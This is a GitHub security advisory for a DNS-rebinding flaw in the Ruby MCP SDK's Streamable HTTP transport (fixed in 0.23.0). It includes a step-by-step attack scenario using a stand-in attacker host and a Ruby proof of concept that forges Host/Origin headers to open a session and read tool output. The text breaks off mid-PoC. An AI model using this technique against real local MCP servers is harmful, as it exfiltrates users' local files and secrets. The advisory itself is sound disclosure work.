GitHub Advisoryadvisory · RubyGems

GHSA-rjr6-rcgv-9m7m MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection

MEDIUM Published 2026-07-30 Modified 2026-07-30 Official page ↗
Aliases
CVE-2026-63118
Ecosystem
RubyGems
Packages
mcp
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weaknesses
CWE-346, CWE-350
Reviewed
2026-07-30

Affected packages

• RubyGems mcp: < 0.23.0 → fixed in 0.23.0

Description

Summary `MCP::Server::Transports::StreamableHTTPTransport` (the Rack-mountable Streamable HTTP transport in the `mcp` gem) processes every incoming JSON-RPC request without ever inspecting the HTTP `Host` or `Origin` request headers. There is no `AllowedHosts`/`AllowedOrigins` allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to `127.0.0.1`, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent. Impact • An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on `localhost`). • Because the transport issues a session and dispatches `tools/list` / `tools/call` from a foreign `Host`/`Origin` with no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin. • The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution. Vulnerable code File: `lib/mcp/server/transports/streamable_http_transport.rb` (gem `mcp` 0.18.0). The Rack entrypoint and POST handler validate `Accept`, `Content-Type`, `Mcp-Session-Id`, and `Mcp-Protocol-Version`, but never `Host` or `Origin`: ```ruby call(env) -> handle_request(Rack::Request.new(env)) (line 56) def handle_post(request) required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE accept_error = validate_accept_header(request, required_types) # line 335 - checks Accept only return accept_error if accept_error content_type_error = validate_content_type(request) # line 338 - checks Content-Type only return content_type_error if content_type_error body_string = request.body.read session_id = extract_session_id(request) # line 342 - reads HTTP_MCP_SESSION_ID ``` No statement anywhere in `handle_post`, `handle_request`, or any helper reads `request.env["HTTP_HOST"]` or `request.env["HTTP_ORIGIN"]`. The only request-env reads in the whole class are: • `extract_session_id` -> `request.env["HTTP_MCP_SESSION_ID"]` (line 489) • `validate_accept_header` -> `request.env["HTTP_ACCEPT"]` (line 493) • `validate_content_type` -> `request.env["CONTENT_TYPE"]` (line 512) • `validate_protocol_version_header` -> `request.env["HTTP_MCP_PROTOCOL_VERSION"]` (line 546) A repository-wide search of `lib/` for `HTTP_HOST`, `HTTP_ORIGIN`, `allowed_host`, `allowed_origin`, `rebind`, or `dns.rebind` returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The `examples/` tree mounts `Rack::Cors` as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding. How the input reaches the sink (attack scenario) 1. A developer runs an MCP server over `StreamableHTTPTransport`, mounted as a Rack app on a local HTTP port (loopback or LAN). 2. The victim opens `http://evil.attacker.com` in a browser. The page resolves to the attacker's server, which then re-answers DNS for `evil.attacker.com` with `127.0.0.1` (DNS rebinding). The browser now treats requests to `evil.attacker.com` as going to the local MCP server, with `Host: evil.attacker.com` / `Origin: http://evil.attacker.com`. 3. The page POSTs an `initialize` request. The transport accepts it (it never looks at `Host`/`Origin`), creates a session, and returns `Mcp-Session-Id`. 4. The page then POSTs `tools/call`, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated. Proof of concept (end-to-end reproduction) Run against the real released gem `mcp` 0.18.0 (no stubs). The script builds an `MCP::Server` with a tool that returns sensitive local data, instantiates the real `StreamableHTTPTransport`, and drives it with `Rack::Request` env hashes carrying a forged `Host`/`Origin`. It then re-runs as a legitimate localhost client (negative control). Install: ``` gem install mcp -v 0.18.0 # pulls addressable, json-schema, public_suffix gem install rack # required by StreamableHTTPTransport ``` PoC (`poc_f1_dnsrebind.rb`): ```ruby frozen_string_literal: true require "mcp" require "rack" require "json" require "stringio" puts "mcp gem version under test: #{MCP::VERSION}" puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}" puts A tool whose output is sensitive local data an attacker wants to exfiltrate. secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*| MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }]) end server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool]) transport = MCP::Server::Transports::StreamableHTTPTransport.new(server) PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil) body = JSON.generate(body_hash) env = { "REQUEST_METHOD" => "POST", "PATH_INFO" => "/", "HTTP_HOST" => host, # attacker-controlled Host (DNS-rebind primary vector) "HTTP_ORIGIN" => origin, # attacker-controlled Origin (cross-origin browser vector) "HTTP_ACCEPT" => "application/json, text/event-stream", "CONTENT_TYPE" => "application/json", "rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s, } env["HTTP_MCP_SESSION_ID"] = session_id if session_id env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto status, headers, resp = transport.call(env) collected = +"" if resp.respond_to?(:each) resp.each { |c| collected << c.to_s } elsif resp.respond_to?(:call) # stateful tools/call returns an SSE-stream Proc body sink = Object.new sink.define_singleton_method(:write) { |s| collected << s.to_s } sink.define_singleton_method(:flush) {} sink.define_singleton_method(:close) {} resp.call(sink) end [status, headers, collected] end puts "========== ATTACK: forged Host: attacker.evil.com Origin: http://evil.attacker.com ==========" init_body = { jsonrpc: "2.0", id: 1, method: "initialize", params: { protocolVersion: PROTO, capabilities: {}, clientInfo: { name: "evil-page", version: "1.0" } } } status, headers, body = rack_post(transport, init_body, host: "attacker.evil.com", origin: "http://evil.attacker.com") puts "[initialize] HTTP status : #{status}" puts "[initialize] Mcp-Session-Id : #{headers["Mcp-Session-Id"].inspect}" puts "[initialize] response body : #{body}" session = headers["Mcp-Session-Id"] call_body = { jsonrpc: "2.0", id: 2, method: "tools/call", params: { name: "read_local_secret", arguments: {} } } status2, _h2, body2 = rack_post(transport, call_body, host: "attacker.evil.com", origin: "http://evil.attacker.com", session_id: session, proto: PROTO) puts "[tools/call] HTTP status : #{status2}" puts "[tools/call] response body : #{body2}" attack_ok = (status == 200 && session && status2 == 200 && body2.include?("TOP-SECRET-LOCAL-DATA-9f3a")) puts puts "ATTACK VERDICT: #{attack_ok ? "EXFILTRATED" : "blocked"} -- foreign Host/Origin obtained a session AND read the local secret with NO 403." puts puts "========== NEGATIVE CONTROL: legitimate Host: 127.0.0.1:8080 Origin: http://127.0.0.1:8080 …

Related

Alias · CVE (1)

  • CVE-2026-63118 MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. vulnerability

Weakness · CWE (2)

  • CWE-346 Origin Validation Error weakness
  • CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action weakness

References